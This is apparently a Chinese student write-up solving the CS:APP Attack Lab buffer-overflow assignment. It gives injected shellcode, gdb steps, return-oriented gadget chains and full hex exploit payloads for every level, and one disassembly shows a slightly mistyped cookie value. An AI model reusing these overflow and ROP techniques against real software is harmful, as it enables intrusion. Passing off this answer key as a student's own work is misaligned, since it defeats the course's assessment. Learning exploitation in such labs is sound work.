Attack Lab
0.实验前准备
下载lab文件
WriteUp文件(有该实验的好多Advise和介绍,很有用!)
文件处理
将压缩包解压出来,得到以下文件:
和Bomb Lab
类似,使用命令
objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm
生成反汇编代码。
实验介绍(WriteUp中有更加详细的介绍)
-
该Lab分为两部分
-
该Lab调用关系是
main()->test()->调用getbuf()->ret指令->test()
。
我们需要做的是main()->test()->调用getbuf()->ret指令->touch1/2/3()
-
该Lab攻击都是利用栈缓存区溢出,其中getbuf()就是造成栈缓存区溢出的"罪魁祸首"。它申请了
40字节
但不做写入字节限制。 -
ctarget使用gcc命令已经关闭了
栈随机化
栈破坏检测
限制代码执行区域
,可以在栈中写/执行
指令,我们直接用 code-injection 攻击方式。 -
rtarget开启了上述栈保护机制,在栈中
可以写,不能执行指令
;且栈地址每一次运行地址都不相同,我们用 return-oriented-programming 攻击方式。 -
攻击代码需要为
小端法(Little-Endian)
形式编码
正式开始
Level1 code-injection
- 相关代码
- 题意
原程序执行:test()->getbuf()->ret->test()
攻击执行:test()->getbuf()->ret->touch1()
- 分析
代码执行到getbuf()
中栈图应该是这样:那我们只需要把那40字节先填满
,再溢出到test()返回地址
,替换为touch()地址
,如:
那么在getbuf()的ret指令的参数
就是touch1()的地址了,即完成了攻击。 - 构造攻击代码
注意这里要Little-Endian小端法
编码其地址。
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40
执行代码
./hex2raw -i ans.txt | ./ctarget -q
#-q 表示不讲评分发到服务器
Level 1PASS
Level2 code-injection
-
相关代码
不要使用CALL 与 JMP系列的汇编指令(WriteUp内有写)
还是一样的test()函数
-
题意
原程序执行:test()->getbuf()->ret->test()
攻击执行:test()->getbuf()->ret->touch2()
touch2()要求你传入的cookie值与程序内的cookie值一样。这个cookie值在解压包内有cookie.txt
。 -
分析
可以看到touch2与touch1不同之处就是touch2()有一个参数
。
我们看看谁会给它传参呢?此时是getbuf()的ret执行了touch2(),其实没有函数为touch2准备了参数。
所以我们需要自己去构造一个:-
touch2()只有一个参数且为第一个,那它使用的寄存器就是
%rdi
,所以我们需要在执行touch2()之前的一个时机为%rdi
赋值。 -
可以使用
movq
指令为%rdi
赋cookie值
,在此给出一个方案(保存为create.s
后缀名需要为.s
):movq $0x59b997fa,%rdi //将cookie值传给%rdi,作为touch2()参数 pushq $0x4017ec //向栈压入touch2()地址,%rsp会改变哦 ret //ret是返回到最新栈地址处,此时就是touch2()的地址
图中的%rsp
是getbuf()还未ret时
的地址。要去找%rsp的地址同Bomb Lab中一样,使用gdb命令(Bomb Lab中有)即可得到,但需要注意:- 该程序需要用
r(un) -q
来运行,-q 是ctarget的参数。 - 要使用gdb的
ni
disas
命令走到getbuf()处,未ret前的代码处 - 使用
i(nfo) r
来查看rsp地址。
这段代码的执行流程是:
getbuf()->ret->跳到getbuf()栈起始地址处->执行汇编代码->ret->touch2()
- 该程序需要用
-
将汇编指令转为机器语言才能注入
gcc -c create.s #生成机器语言 objdump -d create.o
得到机器码。
Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 69 59 mov $0x596997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec c: c3 retq
48 c7 c7 fa 97 69 59 68 ec 17 40 00 c3
就是这段汇编代码的机器码了,注意这里应该按怎样的顺序填入 注入代码 中。
-
-
构造攻击代码
48 c7 c7 fa 97 b9 59 68 ec 17 <=汇编指令,因为未限制代码可执行区域,所以它是可以在栈中执行的 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 <= 栈起始地址
Level 2解决
Level3 code-injection
-
相关代码
hexmatch:
判断十六进制的cookie值0x59b997fa
是否与字符串形式"0x59b997fa"
相等。touch3:
接收一个字符串形式的参数(是一个指针
)。- hexmatch() 和 strncmp()会申请大量栈空间,但是我们是从
getbuf()归还栈空间
后才运行touch3()的,所以…可能会覆盖掉getbuf()原有的内容。也就是说,我们不能在getbuf()栈空间内写入字符串形式的cookie值(一定要注意需要的是一个指针
)。
-
分析
很显然,touch3()与touch2()类似,那模仿一下touch2()解决就好。唯一不同就是:不能将字符串数据保存在getbuf()的栈中。那我们就保存在test()栈中,因为这里通过栈溢出同样能写到。- 取得test()栈地址
因为关闭了栈随机化
,栈地址总是固定的,和Level2一样去获取test()的栈地址。 - 结构图
movq $0x5561dca8,%rdi //test()栈地址 pushq $0x4018fa //touch3()地址 ret
进行操作得到机器码
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
。Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi 7: 68 fa 18 40 00 pushq $0x4018fa c: c3 retq
- 取得test()栈地址
-
构造攻击代码
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
Level3 解决
Level2 return-oriented-programming
-
背景介绍
-
rtarget
文件和ctarget
内容其实一样,不同的是,rtarget
开启了栈保护机制,在栈中可以写,不能执行指令
;且栈地址每一次运行都不相同,我们用 return-oriented-programming 攻击方式。 -
return-oriented-programming 攻击方式指:我们能从一段代码中
“断章取义”
,取得其他含义的汇编代码,实现我们需要的功能。如:0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
在地址
400f18
处截取后面代码400f18: 48 89 c7 movq %rax, %rdi <=就实现了我们想要的操作。 400f1b: c3 retq
这种包含
c3 retq(一定要有,因为栈中不能肆意执行指令了,只能通过ret 来运行到下一个程序)
的功能形式我们称为gadget
,我们接下来就要找gadget来实现攻击了。 -
gadget形式的代码在
rtarget
中有很多,Level2只会用到start_farm到mid_farm中的两个。 -
WriteUp中已经准备好了这些指令对应的机器码了,如
-
-
相关代码
和Level2 code-injection中一样的函数。
-
分析
之前是这样的结构。但是现在不能直接写指令了,只能在其他函数内找gadget
,显然0x59b997fa
这样的一大串是不会存在与gadget中的。
我们不能直接将0x59b997fa
作为操作数,那只能存放在栈中,用popq
来取得作为参数传递。那我们需要的就是:popq %rdi
一查,对应的机器码为
5f(其实只有popq %rax => 58)
再一查,没有5f
那只能变一下了,查一下,对应的机器码为popq %rax #58 movq %rax,%rdi #48 89 c7
就用下面这两个,
90
表示nop
,是一条啥也不做 指令
00000000004019a7 <addval_219>: 4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax 4019ad: c3 retq => 0x4019ab gadget地址
00000000004019c3 <setval_426>: 4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi) 4019c9: c3 retq => 0x4019c5 gadget地址
关键的调用过程是:ret后,rsp+=8,自动到上一格。
- 构造攻击代码
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 <=40bytes 全为空
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
Level2 再次解决。
Level3 return-oriented-programming
-
相关代码
和Level3 code-injection一样
-
分析
-
需要传递一个地址,那么必须要获得确定的地址,直接的地址肯定没有,只能想到求
%rsp
地址了。
可以用movq %rsp,%rax
:0000000000401a03 <addval_190>: 401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax 401a09: c3 retq => 0x401a06 gadget地址
-
单单求得
%rsp
地址也不行,还需要计算偏移。想来想去,最终还得是用leaq
指令,而且,rtarget中确实有现成的leaq
。00000000004019d6 <add_xy>: 4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax 4019da: c3 retq => 0x4019d6 gadget地址
-
重要部分已经解决了,接下来的就是一些小问题。最终构造如下:
-
-
构造攻击代码
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 cc 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 dd 19 40 00 00 00 00 00 70 1a 40 00 00 00 00 00 13 1a 40 00 00 00 00 00 d6 19 40 00 00 00 00 00 a2 19 40 00 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
Level3 再次解决了!
总结
1.对栈缓冲区溢出有了实实在在的理解。
2.理解了汇编指令对栈指针的影响,像pop push ret都会改变栈指针。